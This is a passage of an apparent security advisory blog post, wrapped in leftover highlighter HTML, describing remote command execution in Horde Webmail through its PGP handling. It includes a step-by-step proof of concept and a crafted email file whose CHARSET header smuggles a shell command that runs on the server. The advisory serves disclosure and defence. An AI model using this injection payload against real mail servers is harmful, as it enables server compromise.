Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 227 *\/ protected function _getEmbeddedMimeParts()  \/* 228 *\/ {  \/* 229 *\/ $ret = null;  \/* 230 *\/  \/* 231 *\/ if (!empty($GLOBALS[&#8216;conf&#8217;][&#8216;gnupg&#8217;][&#8216;path&#8217;]) &amp;&amp;  \/* 232 *\/ $GLOBALS[&#8216;prefs&#8217;]-&gt;getValue(&#8216;pgp_scan_body&#8217;)) {  \/* 233 *\/ $ret = $this-&gt;_parsePGP();  \/* 234 *\/ }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37279d261173031-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37279d261173031-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37279d261173031-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37279d261173031-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37279d261173031-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37279d261173031-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37279d261173031-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37279d261173031-8\">8<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b37279d261173031-1\"><span class=\"crayon-c\">\/* 227 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">protected<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">_getEmbeddedMimeParts<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37279d261173031-2\"><span class=\"crayon-c\">\/* 228 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37279d261173031-3\"><span class=\"crayon-c\">\/* 229 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">ret<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37279d261173031-4\"><span class=\"crayon-c\">\/* 230 *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37279d261173031-5\"><span class=\"crayon-c\">\/* 231 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">empty<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">GLOBALS<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;conf&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;gnupg&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;path&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37279d261173031-6\"><span class=\"crayon-c\">\/* 232 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">GLOBALS<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;prefs&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getValue<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;pgp_scan_body&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37279d261173031-7\"><span class=\"crayon-c\">\/* 233 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">ret<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">_parsePGP<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37279d261173031-8\"><span class=\"crayon-c\">\/* 234 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0012 seconds] -->  <\/p>\n<p>So instead of requirement to have config parameter we have requirement of &#8216;<em>pgp_scan_body<\/em>&#8216; Preference of current user. And it is more likely to find a victim with needed preferences. We saw where our injected command is executed and from where and when it is taken<\/p>\n<p>During rendering of massage we:<\/p>\n<ol>\n<li>Will parse PGP values:\n<ul>\n<li>#0 IMP_Mime_Viewer_Plain-&gt;_parsePGP() called at [\/imp\/lib\/Mime\/Viewer\/Plain.php:225]<\/li>\n<li>#1 IMP_Mime_Viewer_Plain-&gt;_getEmbeddedMimeParts() called at [\/Horde\/Mime\/Viewer\/Base.php:298]<\/li>\n<li>#2 Horde_Mime_Viewer_Base-&gt;getEmbeddedMimeParts() called at [\/imp\/lib\/Contents.php:1114]<\/li>\n<li>#3 IMP_Contents-&gt;_buildMessage() called at [\/imp\/lib\/Contents.php:1186]<\/li>\n<li>#4 IMP_Contents-&gt;getContentTypeMap() called at [\/imp\/lib\/Contents.php:1423]<\/li>\n<li>#5 IMP_Contents-&gt;getInlineOutput() called at [\/imp\/lib\/Ajax\/Application\/ShowMessage.php:296]<\/li>\n<\/ul>\n<\/li>\n<li>Will use them in:\n<ul>\n<li>#0 IMP_Mime_Viewer_Plain-&gt;_parsePGP() called at [\/imp\/lib\/Mime\/Viewer\/Plain.php:225]<\/li>\n<li>#0 IMP_Mime_Viewer_Pgp-&gt;_renderInline() called at [\/Horde\/Mime\/Viewer\/Base.php:156]<\/li>\n<li>#1 Horde_Mime_Viewer_Base-&gt;render() called at [\/Horde\/Mime\/Viewer\/Base.php:207]<\/li>\n<li>#2 Horde_Mime_Viewer_Base-&gt;_renderInline() called at [\/Horde\/Mime\/Viewer\/Base.php:156]<\/li>\n<li>#3 Horde_Mime_Viewer_Base-&gt;render() called at [\/imp\/lib\/Contents.php:654]<\/li>\n<li>#4 IMP_Contents-&gt;renderMIMEPart() called at [\/imp\/lib\/Contents.php:1462]<\/li>\n<li>#5 IMP_Contents-&gt;getInlineOutput() called at [\/imp\/lib\/Ajax\/Application\/ShowMessage.php:296]]<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<p><u>In conclusions:<\/u><\/p>\n<p>If Horde server has vulnerable configuration:<\/p>\n<ol>\n<li>Enabled &#8220;GnuPG feature&#8221; (there is path to gpg binary in $conf[gnupg][path] setting)<\/li>\n<li>Only for ver 5.2.0 and newer: &#8216;pgp_inline&#8217; =&gt; true, in \/imp\/config\/mime_drivers.php<\/li>\n<\/ol>\n<p>And the victim has checked the next checkbox in his\/her preferences ( \u201cPGP Configure PGP encryption support.\u201d in Prefferences-&gt;Mail) :<\/p>\n<ol>\n<li>\u201cEnable PGP functionality\u201d<\/li>\n<li>\u201cShould PGP signed messages be automatically verified when viewed?\u201d if it is not checked our command will be executed when the victim clicks on the link \u201cClick HERE to verify the message.\u201d<\/li>\n<li>For versions before 5.2.0: \u201cShould the body of plaintext message be scanned for PGP data\u201d<\/li>\n<\/ol>\n<p>An attacker can create email with PGP data, put desired command into CHARSET attribute of ContentType header, and this command will be executed on Horde server when the victim opens this email.<\/p>\n<p><strong>Proof of Concept &#8211; Remote Code Execution<\/strong><\/p>\n<p>For Proof of Concept we can use preconfigured image of Horde server from Bitnami (Bitnami &#8211;\u00a0&#8220;Easy to use cloud images, containers, and VMs that work on any platform&#8221;):<\/p>\n<p><a href=\"https:\/\/downloads.bitnami.com\/files\/stacks\/horde\/5.2.17-0\/bitnami-horde-5.2.17-0-linux-ubuntu-14.04-x86_64.ova\" target=\"_blank\">https:\/\/downloads.bitnami.com\/files\/stacks\/horde\/5.2.17-0\/bitnami-horde-5.2.17-0-linux-ubuntu-14.04-x86_64.ova<\/a><\/p>\n<p>Step 1 &#8211; Login as admin (by default user:bitnami) and go to <em>Administration<\/em> -&gt; <em>Configuration<\/em> and choose <em>Horde<\/em> (horde). Open <em>GnuPG<\/em> tab, enter <em>\/usr\/bin\/gpg<\/em> into <em>$conf[gnupg][path]<\/em> setting and click &#8220;<em>Generate Horde Configuration<\/em>&#8220;:<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-1.jpg\" data-slb-active=\"1\" data-slb-asset=\"1311586951\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3125\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-1-300x214.jpg\" alt=\"\" width=\"300\" height=\"214\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-1-300x214.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-1-768x548.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-1-1024x731.jpg 1024w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-1.jpg 1068w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Now we have enabled GPG feature on our server and we can login as regular user and try to execute desired commands. But Bitnami image does not have installed and configured Mail server so we need to use external one or install it on local machine.<\/p>\n<p>We will use gmail account (to be able to login to it from Horde I had to change Gmail account setting Allow less secure apps: ON).<\/p>\n<p>To use external Mail server we need to change the next setting: \u201c<em>Administrator Panel<\/em>\u201d -&gt; \u201c<em>Configuration<\/em>\u201d -&gt; \u201c<em>Horde<\/em>\u201d -&gt; \u201c<em>Authentication<\/em>\u201d<\/p>\n<p>Configure the application authentication ($conf[auth][driver]) &#8211; change this option to &#8220;<em>Let a Horde application handle authentication<\/em>&#8221; and click \u201c<em>Generate Horde Configuration<\/em>\u201d.<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-2.jpg\" data-slb-active=\"1\" data-slb-asset=\"1496476405\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3126\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-2-300x213.jpg\" alt=\"\" width=\"300\" height=\"213\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-2-300x213.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-2-768x545.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-2-1024x726.jpg 1024w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-2.jpg 1159w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>If we have Horde Webmail ver 5.2.0 or newer we need to edit <em>\/imp\/config\/mime_drivers.php<\/em> file. Login to the console of bitnami image (default bitnami:bitnami) and run the next command:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b3727a4359088760\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> sudo nano \/opt\/bitnami\/apps\/horde\/htdocs\/imp\/config\/mime_drivers.php<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727a4359088760-1\">1<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727a4359088760-1\"><span class=\"crayon-e\">sudo <\/span><span class=\"crayon-v\">nano<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">opt<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">bitnami<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">apps<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">horde<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">htdocs<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">imp<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">config<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">mime_drivers<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">php<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0005 seconds] -->  <\/p>\n<p>Change the line: &#8220;&#8216;pgp_inline&#8217; =&gt; false&#8221; to &#8220;&#8216;pgp_inline&#8217; =&gt; true&#8221; and save the changes.<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-3.jpg\" data-slb-active=\"1\" data-slb-asset=\"1598311746\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3127\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-3-300x170.jpg\" alt=\"\" width=\"300\" height=\"170\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-3-300x170.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-3-768x436.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-3-1024x581.jpg 1024w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-3.jpg 1377w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Step 2 &#8211; Logout and login with your gmail account.<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-4.jpg\" data-slb-active=\"1\" data-slb-asset=\"1362033713\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3128\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-4-300x172.jpg\" alt=\"\" width=\"300\" height=\"172\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-4-300x172.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-4-768x440.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-4.jpg 784w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Step 3 &#8211; Go to <em>Preferences<\/em> -&gt; <em>Mail<\/em> and click on <em>PGP<\/em> link:<\/p>\n<ol>\n<li>Check Enable PGP functionality checkbox and click \u201cSave\u201d<\/li>\n<li>Check Should PGP signed messages be automatically verified when viewed checkbox<\/li>\n<li>For versions before 5.2.0 check \u201c<em>Should the body of plain-text message be scanned for PGP data<\/em>\u201d checkbox Click \u201c<em>Save<\/em>\u201d<\/li>\n<\/ol>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-5.jpg\" data-slb-active=\"1\" data-slb-asset=\"1118750430\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3129\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-5-300x172.jpg\" alt=\"\" width=\"300\" height=\"172\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-5-300x172.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-5-768x441.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-5-1024x589.jpg 1024w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-5.jpg 1169w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>For version before 5.2.0:<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-6.jpg\" data-slb-active=\"1\" data-slb-asset=\"1416870928\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3130\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-6-300x232.jpg\" alt=\"\" width=\"300\" height=\"232\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-6-300x232.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-6-768x594.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-6.jpg 995w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Step 4 &#8211; Go to the <em>Mail<\/em>, take any mail folder (for example <em>Drafts<\/em>), and chose \u201c<em>Import<\/em>\u201d item from context menu and import <em>attack_whoami.eml<\/em> file (in the end of this blog).<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-7.jpg\" data-slb-active=\"1\" data-slb-asset=\"326867951\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3131\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-7-300x162.jpg\" alt=\"\" width=\"300\" height=\"162\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-7-300x162.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-7-768x414.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-7-1024x552.jpg 1024w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-7.jpg 1175w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Click on the imported email:<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-8.jpg\" data-slb-active=\"1\" data-slb-asset=\"961107895\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3132\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-8-300x187.jpg\" alt=\"\" width=\"300\" height=\"187\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-8-300x187.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-8-768x478.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-8-1024x637.jpg 1024w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-8.jpg 1287w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Our Horde serve is launched under daemon user<\/p>\n<p>Step 5 &#8211; We can do the same with <em>attack_touch.eml<\/em> (in the end of this blog) file (import it and click on the new mail) and check <em>\/tmp<\/em> folder:<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-9.jpg\" data-slb-active=\"1\" data-slb-asset=\"1072342473\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3133\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-9-300x35.jpg\" alt=\"\" width=\"300\" height=\"35\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-9-300x35.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-9-768x89.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-9-1024x118.jpg 1024w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-RCE-9.jpg 1290w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><strong>attack_touch.eml<\/strong><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b3727a7020810742\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> Date: Fri, 04 Nov 2016 16:04:19 +0000  Message-ID: &lt;20161104160419.Horde.HpYObg_3-4QS-nUzWujEkg3@ubvm.mydomain.com&gt;  From: Donald Trump &lt;attacker@attacker.com&gt;  To: SomeUser@mydoamin.com  Subject: PGP_INLine_touch_tmp_youarevuln  X-IMP-Draft: Yes  Content-Type: text\/plain; CHARSET=&#8221;US-ASCII`touch \/tmp\/youarevuln`&#8221;; format=flowed; DelSp=Yes  MIME-Version: 1.0  Content-Disposition: inline      &#8212;&#8211;BEGIN PGP SIGNED MESSAGE&#8212;&#8211;  Hash: SHA1    This is a sample of a clear signed message.    &#8212;&#8211;BEGIN PGP SIGNATURE&#8212;&#8211;  Version: 2.6.2    iQCVAwUBMoSCcM4T3nOFCCzVAQF4aAP\/eaP2nssHHDTHyPBSjgwyzryguwBd2szF  U5IFy5JfU+PAa6NV6m\/UWW8IKczNX2cmaKQNgubwl3w0odFQPUS+nZ9myo5QtRZh  DztuhjzJMEzwtm8KTKBnF\/LJ9X05pSQUvoHfLZ\/waJdVt4E\/xfEs90l8DT1HDdIz  CvynscaD+wA=  =Xb9n  &#8212;&#8211;END PGP SIGNATURE&#8212;&#8211;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727a7020810742-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727a7020810742-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727a7020810742-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727a7020810742-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727a7020810742-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727a7020810742-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727a7020810742-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727a7020810742-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727a7020810742-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727a7020810742-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727a7020810742-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727a7020810742-12\">12<\/div>\n<div class=\"crayon-num\" 